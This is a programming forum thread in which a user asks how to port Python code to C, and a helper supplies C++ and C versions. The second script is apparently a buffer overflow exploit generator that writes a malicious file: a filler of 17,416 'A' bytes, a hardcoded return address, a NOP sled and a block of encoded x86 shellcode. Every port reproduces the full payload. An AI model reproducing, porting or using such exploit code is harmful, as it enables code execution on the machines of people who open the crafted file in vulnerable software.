Witting Hex to a Text File

Hello Guys . Can any one help me to port this python code to C?

1
2
3
4
5
buff = "\x41"*300
exp = buff
file=open("file.txt","w")
file.write(exp)
file.close()


And if there is shellcode like this in python. How can we port it to C?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
header = "http://."
buff = "\x41"*17416
esp = "\xED\x1E\x94\x7C"
nop = "\x90"*16
shell = ("\xdb\xd3\xbe\xfb\x7c\xe7\x21\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x32\x31\x77\x1a\x03\x77\x1a\x83\xef\xfc\xe2\x0e\x80\x0f\xa8"
"\xf0\x79\xd0\xcb\x79\x9c\xe1\xd9\x1d\xd4\x50\xee\x56\xb8\x58"
"\x85\x3a\x29\xea\xeb\x92\x5e\x5b\x41\xc4\x51\x5c\x67\xc8\x3e"
"\x9e\xe9\xb4\x3c\xf3\xc9\x85\x8e\x06\x0b\xc2\xf3\xe9\x59\x9b"
"\x78\x5b\x4e\xa8\x3d\x60\x6f\x7e\x4a\xd8\x17\xfb\x8d\xad\xad"
"\x02\xde\x1e\xb9\x4c\xc6\x15\xe5\x6c\xf7\xfa\xf5\x50\xbe\x77"
"\xcd\x23\x41\x5e\x1f\xcc\x73\x9e\xcc\xf3\xbb\x13\x0c\x34\x7b"
"\xcc\x7b\x4e\x7f\x71\x7c\x95\xfd\xad\x09\x0b\xa5\x26\xa9\xef"
"\x57\xea\x2c\x64\x5b\x47\x3a\x22\x78\x56\xef\x59\x84\xd3\x0e"
"\x8d\x0c\xa7\x34\x09\x54\x73\x54\x08\x30\xd2\x69\x4a\x9c\x8b"
"\xcf\x01\x0f\xdf\x76\x48\x5a\x1e\xfa\xf7\x23\x20\x04\xf7\x03"
"\x49\x35\x7c\xcc\x0e\xca\x57\xa8\xe1\x80\xf5\x99\x69\x4d\x6c"
"\x98\xf7\x6e\x5b\xdf\x01\xed\x69\xa0\xf5\xed\x18\xa5\xb2\xa9"
"\xf1\xd7\xab\x5f\xf5\x44\xcb\x75\x98\x19\x43\x17\x0b\xb0\xd7"
"\xd7")
ex = header+buff+esp+nop+shell
file=open("file.txt","w")
file.write(ex)
file.close()


Thank you guys :)
In C++ the first one could look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <iostream>
#include <fstream>
#include <string>

    using std::ofstream;
    using std::string;

int main()
{
    string buff(300, '\x41');
    string exp = buff;
    ofstream fout("file.txt");
    fout << exp;
}


The second is similar, with code of this style (abbreviated):
1
2
3
4
5
    string shell(
        "\xdb\xd3\xbe\xfb\x7c\xe7\x21\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
        "\xf1\xd7\xab\x5f\xf5\x44\xcb\x75\x98\x19\x43\x17\x0b\xb0\xd7"
        "\xd7");
    string ex = header+buff+esp+nop+shell;
Thank you very much! Chervil . How can I use C to do this?
How can I use C to do this?

I am not skilled in the use of C. This is probably an example of how not to do it. No guarantees given here.

First:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void add(int count, char* dest, char * src );

int main()
{
    int i;
    char buff[1024];
    FILE * outfile;    
    buff[0] = 0;           /* empty string marked by null terminator */
       
    add(300, buff, "\x41");

    outfile = fopen("file.txt", "w");

    if (!outfile)
    {
        printf("%s\n","Could not open file");
        return 1;         
    }    
    
    fputs(buff,outfile);
    fclose(outfile);
     
    return 0;
}


void add(int count, char* dest, char * src )
{
    int i;
    for (i=0; i<count; i++)
    {
        strcat(dest, src);
    }
    
}


Second:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 65536  
void add(int count, char* dest, char * src );

int main()
{
    char * buff;
    FILE * outfile;    
   
    buff = (char*) malloc (SIZE);
    if (buff==NULL) 
        exit (1);

    buff[0] = 0;   
        
    char header[] = "http://.";    
        
    add(17416, buff, "\x41");

    char esp[] = "\xED\x1E\x94\x7C";
    
    char nop [20] = "";
    add (16, nop, "\x90");
    
    char shell[] = 
        "\xdb\xd3\xbe\xfb\x7c\xe7\x21\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
        "\x32\x31\x77\x1a\x03\x77\x1a\x83\xef\xfc\xe2\x0e\x80\x0f\xa8"
        "\xf0\x79\xd0\xcb\x79\x9c\xe1\xd9\x1d\xd4\x50\xee\x56\xb8\x58"
        "\x85\x3a\x29\xea\xeb\x92\x5e\x5b\x41\xc4\x51\x5c\x67\xc8\x3e"
        "\x9e\xe9\xb4\x3c\xf3\xc9\x85\x8e\x06\x0b\xc2\xf3\xe9\x59\x9b"
        "\x78\x5b\x4e\xa8\x3d\x60\x6f\x7e\x4a\xd8\x17\xfb\x8d\xad\xad"
        "\x02\xde\x1e\xb9\x4c\xc6\x15\xe5\x6c\xf7\xfa\xf5\x50\xbe\x77"
        "\xcd\x23\x41\x5e\x1f\xcc\x73\x9e\xcc\xf3\xbb\x13\x0c\x34\x7b"
        "\xcc\x7b\x4e\x7f\x71\x7c\x95\xfd\xad\x09\x0b\xa5\x26\xa9\xef"
        "\x57\xea\x2c\x64\x5b\x47\x3a\x22\x78\x56\xef\x59\x84\xd3\x0e"
        "\x8d\x0c\xa7\x34\x09\x54\x73\x54\x08\x30\xd2\x69\x4a\x9c\x8b"
        "\xcf\x01\x0f\xdf\x76\x48\x5a\x1e\xfa\xf7\x23\x20\x04\xf7\x03"
        "\x49\x35\x7c\xcc\x0e\xca\x57\xa8\xe1\x80\xf5\x99\x69\x4d\x6c"
        "\x98\xf7\x6e\x5b\xdf\x01\xed\x69\xa0\xf5\xed\x18\xa5\xb2\xa9"
        "\xf1\xd7\xab\x5f\xf5\x44\xcb\x75\x98\x19\x43\x17\x0b\xb0\xd7"
        "\xd7";
    

    outfile = fopen("file.txt", "w");

    if (!outfile)
    {
        printf("%s\n","Could not open file");
        return 1;         
    }    
    
    fputs(header, outfile);
    fputs(buff,   outfile);
    fputs(esp,    outfile);
    fputs(nop,    outfile);
    fputs(shell,  outfile);
    
    fclose(outfile);
    
    free (buff);
    
    printf("%s\n","Done"); 
    
    return 0;
}

void add(int count, char* dest, char * src )
{
    int i;
    for (i=0; i<count; i++)
    {
        strcat(dest, src);
    } 
}


Disclaimer: using the above code may be harmful to your health, or that of your computer. Try at your own risk.
@Chervil Thank you very much! Appreciate you a lot! I learnt something new with both C and C++ . This forum is awesome and friendly! Thanks again :)
Topic archived. No new replies allowed.